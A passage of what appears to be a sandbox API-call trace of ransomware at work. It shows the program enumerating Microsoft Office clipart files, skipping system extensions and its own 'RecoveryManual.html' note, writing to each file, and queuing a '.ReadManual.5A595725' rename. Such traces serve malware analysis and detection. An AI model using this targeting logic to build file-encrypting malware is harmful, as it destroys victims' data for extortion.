returned 1 [0273.286] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01235U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01235u.bmp")) returned 0x20 [0273.287] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01235U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01235u.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0273.287] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=32184) returned 1 [0273.287] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7db8, lpName=0x0) returned 0x184 [0273.287] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0273.288] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0273.288] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0273.290] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0273.290] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x7db8) returned 0x2f0000 [0273.290] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0273.290] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39395904819) returned 1 [0273.290] CloseHandle (hObject=0x184) returned 1 [0273.290] SetSecurityInfo () returned 0x57 [0273.290] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0273.291] CloseHandle (hObject=0x194) returned 1 [0273.291] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc83e7e00, ftCreationTime.dwHighDateTime=0x1bd4e54, ftLastAccessTime.dwLowDateTime=0x5a3d9150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc83e7e00, ftLastWriteTime.dwHighDateTime=0x1bd4e54, nFileSizeHigh=0x0, nFileSizeLow=0x7ce0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PH01236U.BMP", cAlternateFileName="")) returned 1 [0273.291] lstrcpyW (in: lpString1=0x6ab90a, lpString2="PH01236U.BMP" | out: lpString1="PH01236U.BMP") returned="PH01236U.BMP" [0273.291] lstrcmpiW (lpString1="PH01236U.BMP", lpString2="RecoveryManual.html") returned -1 [0273.291] StrStrIW (lpFirst="PH01236U.BMP", lpSrch=".ReadManual.5A595725") returned 0x0 [0273.291] StrCmpIW (psz1="BMP", psz2="exe") returned -1 [0273.291] StrCmpIW (psz1="BMP", psz2="dll") returned -1 [0273.291] StrCmpIW (psz1="BMP", psz2="sys") returned -1 [0273.291] StrCmpIW (psz1="BMP", psz2="msi") returned -1 [0273.291] StrCmpIW (psz1="BMP", psz2="mui") returned -1 [0273.291] StrCmpIW (psz1="BMP", psz2="inf") returned -1 [0273.291] StrCmpIW (psz1="BMP", psz2="cat") returned -1 [0273.291] StrCmpIW (psz1="BMP", psz2="bat") returned 1 [0273.291] StrCmpIW (psz1="BMP", psz2="cmd") returned -1 [0273.291] StrCmpIW (psz1="BMP", psz2="ps1") returned -1 [0273.291] StrCmpIW (psz1="BMP", psz2="vbs") returned -1 [0273.291] StrCmpIW (psz1="BMP", psz2="ttf") returned -1 [0273.291] StrCmpIW (psz1="BMP", psz2="fon") returned -1 [0273.291] StrCmpIW (psz1="BMP", psz2="lnk") returned -1 [0273.291] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01236U.BMP" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01236U.BMP") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01236U.BMP" [0273.291] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01236U.BMP", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01236U.BMP.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01236U.BMP.ReadManual.5A595725" [0273.291] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01236U.BMP.ReadManual.5A595725") returned 87 [0273.291] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39395994371) returned 1 [0273.291] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01236U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01236u.bmp")) returned 0x20 [0273.291] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01236U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01236u.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0273.292] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=31968) returned 1 [0273.292] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7ce0, lpName=0x0) returned 0x184 [0273.292] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0273.292] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0273.293] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0273.294] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0273.294] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x7ce0) returned 0x2f0000 [0273.295] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0273.295] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39396368962) returned 1 [0273.295] CloseHandle (hObject=0x184) returned 1 [0273.295] SetSecurityInfo () returned 0x57 [0273.295] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0273.295] CloseHandle (hObject=0x194) returned 1 [0273.295] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5a3d9150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1764, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PH01239K.JPG", cAlternateFileName="")) returned 1 [0273.295] lstrcpyW (in: lpString1=0x6ab90a, lpString2="PH01239K.JPG" | out: lpString1="PH01239K.JPG") returned="PH01239K.JPG" [0273.295] lstrcmpiW (lpString1="PH01239K.JPG", lpString2="RecoveryManual.html") returned -1 [0273.295] StrStrIW (lpFirst="PH01239K.JPG", lpSrch=".ReadManual.5A595725") returned 0x0 [0273.295] StrCmpIW (psz1="JPG", psz2="exe") returned 1 [0273.295] StrCmpIW (psz1="JPG", psz2="dll") returned 1 [0273.295] StrCmpIW (psz1="JPG", psz2="sys") returned -1 [0273.295] StrCmpIW (psz1="JPG", psz2="msi") returned -1 [0273.295] StrCmpIW (psz1="JPG", psz2="mui") returned -1 [0273.295] StrCmpIW (psz1="JPG", psz2="inf") returned 1 [0273.296] StrCmpIW (psz1="JPG", psz2="cat") returned 1 [0273.296] StrCmpIW (psz1="JPG", psz2="bat") returned 1 [0273.296] StrCmpIW (psz1="JPG", psz2="cmd") returned 1 [0273.296] StrCmpIW (psz1="JPG", psz2="ps1") returned -1 [0273.296] StrCmpIW (psz1="JPG", psz2="vbs") returned -1 [0273.296] StrCmpIW (psz1="JPG", psz2="ttf") returned -1 [0273.296] StrCmpIW (psz1="JPG", psz2="fon") returned 1 [0273.296] StrCmpIW (psz1="JPG", psz2="lnk") returned -1 [0273.296] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01239K.JPG" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01239K.JPG") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01239K.JPG" [0273.296] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01239K.JPG", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01239K.JPG.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01239K.JPG.ReadManual.5A595725" [0273.296] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01239K.JPG.ReadManual.5A595725") returned 87 [0273.296] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39396457579) returned 1 [0273.296] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01239K.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01239k.jpg")) returned 0x20 [0273.297] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01239K.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01239k.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0273.297] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=5988) returned 1 [0273.297] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1764, lpName=0x0) returned 0x184 [0273.297] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0273.298] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0273.298] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0273.299] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0273.300] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1764) returned 0x2f0000 [0273.300] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0273.300] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39396857760) returned 1 [0273.300] CloseHandle (hObject=0x184) returned 1 [0273.300] SetSecurityInfo () returned 0x57 [0273.300] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0273.300] CloseHandle (hObject=0x194) returned 1 [0273.300] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbeb51600, ftCreationTime.dwHighDateTime=0x1bd4e54, ftLastAccessTime.dwLowDateTime=0x5a3ff2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbeb51600, ftLastWriteTime.dwHighDateTime=0x1bd4e54, nFileSizeHigh=0x0, nFileSizeLow=0x7c08, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PH01247U.BMP", cAlternateFileName="")) returned 1 [0273.300] lstrcpyW (in: lpString1=0x6ab90a, lpString2="PH01247U.BMP" | out: lpString1="PH01247U.BMP") returned="PH01247U.BMP" [0273.300] lstrcmpiW (lpString1="PH01247U.BMP", lpString2="RecoveryManual.html") returned -1 [0273.300] StrStrIW (lpFirst="PH01247U.BMP", lpSrch=".ReadManual.5A595725") returned 0x0 [0273.300] StrCmpIW (psz1="BMP", psz2="exe") returned -1 [0273.300] StrCmpIW (psz1="BMP", psz2="dll") returned -1 [0273.300] StrCmpIW (psz1="BMP", psz2="sys") returned -1 [0273.300] StrCmpIW (psz1="BMP", psz2="msi") returned -1 [0273.300] StrCmpIW (psz1="BMP", psz2="mui") returned -1 [0273.300] StrCmpIW (psz1="BMP", psz2="inf") returned -1 [0273.300] StrCmpIW (psz1="BMP", psz2="cat") returned -1 [0273.300] StrCmpIW (psz1="BMP", psz2="bat") returned 1 [0273.300] StrCmpIW (psz1="BMP", psz2="cmd") returned -1 [0273.300] StrCmpIW (psz1="BMP", psz2="ps1") returned -1 [0273.300] StrCmpIW (psz1="BMP", psz2="vbs") returned -1 [0273.301] StrCmpIW (psz1="BMP", psz2="ttf") returned -1 [0273.301] StrCmpIW (psz1="BMP", psz2="fon") returned -1 [0273.301] StrCmpIW (psz1="BMP", psz2="lnk") returned -1 [0273.301] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01247U.BMP" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01247U.BMP") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01247U.BMP" [0273.301] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01247U.BMP", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01247U.BMP.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01247U.BMP.ReadManual.5A595725" [0273.301] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01247U.BMP.ReadManual.5A595725") returned 87 [0273.301] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39396948071) returned 1 [0273.301] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01247U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01247u.bmp")) returned 0x20 [0273.301] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01247U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01247u.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0273.301] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=31752) returned 1 [0273.301] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7c08, lpName=0x0) returned 0x184 [0273.301] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0273.302] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0273.302] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0273.304] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0273.304] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x7c08) returned 0x2f0000 [0273.304] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0273.305] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39397333259) returned 1 [0273.305] CloseHandle (hObject=0x184) returned 1 [0273.305] SetSecurityInfo () returned 0x57 [0273.305] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0273.305] CloseHandle (hObject=0x194) returned 1 [0273.305] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72230800, ftCreationTime.dwHighDateTime=0x1bd4e5f, ftLastAccessTime.dwLowDateTime=0x6ce6f8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x72230800, ftLastWriteTime.dwHighDateTime=0x1bd4e5f, nFileSizeHigh=0x0, nFileSizeLow=0x1e55, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PH01255G.GIF", cAlternateFileName="")) returned 1 [0273.305] lstrcpyW (in: lpString1=0x6ab90a, lpString2="PH01255G.GIF" | out: lpString1="PH01255G.GIF") returned="PH01255G.GIF" [0273.305] lstrcmpiW (lpString1="PH01255G.GIF", lpString2="RecoveryManual.html") returned -1 [0273.305] StrStrIW (lpFirst="PH01255G.GIF", lpSrch=".ReadManual.5A595725") returned 0x0 [0273.305] StrCmpIW (psz1="GIF", psz2="exe") returned 1 [0273.305] StrCmpIW (psz1="GIF", psz2="dll") returned 1 [0273.305] StrCmpIW (psz1="GIF", psz2="sys") returned -1 [0273.305] StrCmpIW (psz1="GIF", psz2="msi") returned -1 [0273.305] StrCmpIW (psz1="GIF", psz2="mui") returned -1 [0273.305] StrCmpIW (psz1="GIF", psz2="inf") returned -1 [0273.305] StrCmpIW (psz1="GIF", psz2="cat") returned 1 [0273.305] StrCmpIW (psz1="GIF", psz2="bat") returned 1 [0273.305] StrCmpIW (psz1="GIF", psz2="cmd") returned 1 [0273.305] StrCmpIW (psz1="GIF", psz2="ps1") returned -1 [0273.305] StrCmpIW (psz1="GIF", psz2="vbs") returned -1 [0273.305] StrCmpIW (psz1="GIF", psz2="ttf") returned -1 [0273.305] StrCmpIW (psz1="GIF", psz2="fon") returned 1 [0273.305] StrCmpIW (psz1="GIF", psz2="lnk") returned -1 [0273.305] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01255G.GIF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01255G.GIF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01255G.GIF" [0273.305] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01255G.GIF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01255G.GIF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01255G.GIF.ReadManual.5A595725" [0273.305] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01255G.GIF.ReadManual.5A595725") returned 87 [0273.305] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39397422108) returned 1 [0273.306] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01255G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01255g.gif")) returned 0x20 [0273.306] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01255G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01255g.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0273.306] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=7765) returned 1 [0273.306] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1e55, lpName=0x0) returned 0x184 [0273.306] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0273.307] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0273.307] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0273.309] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0273.309] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1e55) returned 0x2f0000 [0273.309] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0273.309] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39397779677) returned 1 [0273.309] CloseHandle (hObject=0x184) returned 1 [0273.309] SetSecurityInfo () returned 0x57 [0273.309] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0273.309] CloseHandle (hObject=0x194) returned 1 [0273.309] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d799000, ftCreationTime.dwHighDateTime=0x1bd4e53, ftLastAccessTime.dwLowDateTime=0x5a3ff2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1d799000, ftLastWriteTime.dwHighDateTime=0x1bd4e53, nFileSizeHigh=0x0, nFileSizeLow=0x7c08, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PH01265U.BMP", cAlternateFileName="")) returned 1 [0273.309] lstrcpyW (in: lpString1=0x6ab90a, lpString2="PH01265U.BMP" | out: lpString1="PH01265U.BMP") returned="PH01265U.BMP" [0273.309] lstrcmpiW (lpString1="PH01265U.BMP", lpString2="RecoveryManual.html") returned -1 [0273.309] StrStrIW (lpFirst="PH01265U.BMP", lpSrch=".ReadManual.5A595725") returned 0x0 [0273.309] StrCmpIW (psz1="BMP", psz2="exe") returned -1 [0273.309] StrCmpIW (psz1="BMP", psz2="dll") returned -1 [0273.309] StrCmpIW (psz1="BMP", psz2="sys") returned -1 [0273.309] StrCmpIW (psz1="BMP", psz2="msi") returned -1 [0273.309] StrCmpIW (psz1="BMP", psz2="mui") returned -1 [0273.309] StrCmpIW (psz1="BMP", psz2="inf") returned -1 [0273.310] StrCmpIW (psz1="BMP", psz2="cat") returned -1 [0273.310] StrCmpIW (psz1="BMP", psz2="bat") returned 1 [0273.310] StrCmpIW (psz1="BMP", psz2="cmd") returned -1 [0273.310] StrCmpIW (psz1="BMP", psz2="ps1") returned -1 [0273.310] StrCmpIW (psz1="BMP", psz2="vbs") returned -1 [0273.310] StrCmpIW (psz1="BMP", psz2="ttf") returned -1 [0273.310] StrCmpIW (psz1="BMP", psz2="fon") returned -1 [0273.310] StrCmpIW (psz1="BMP", psz2="lnk") returned -1 [0273.310] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01265U.BMP" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01265U.BMP") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01265U.BMP" [0273.310] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01265U.BMP", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01265U.BMP.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01265U.BMP.ReadManual.5A595725" [0273.310] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01265U.BMP.ReadManual.5A595725") returned 87 [0273.310] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39397859119) returned 1 [0273.310] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01265U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01265u.bmp")) returned 0x20 [0273.310] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01265U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01265u.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0273.310] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=31752) returned 1 [0273.310] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7c08, lpName=0x0) returned 0x184 [0273.310] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0273.311] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0273.311] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0273.313] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, 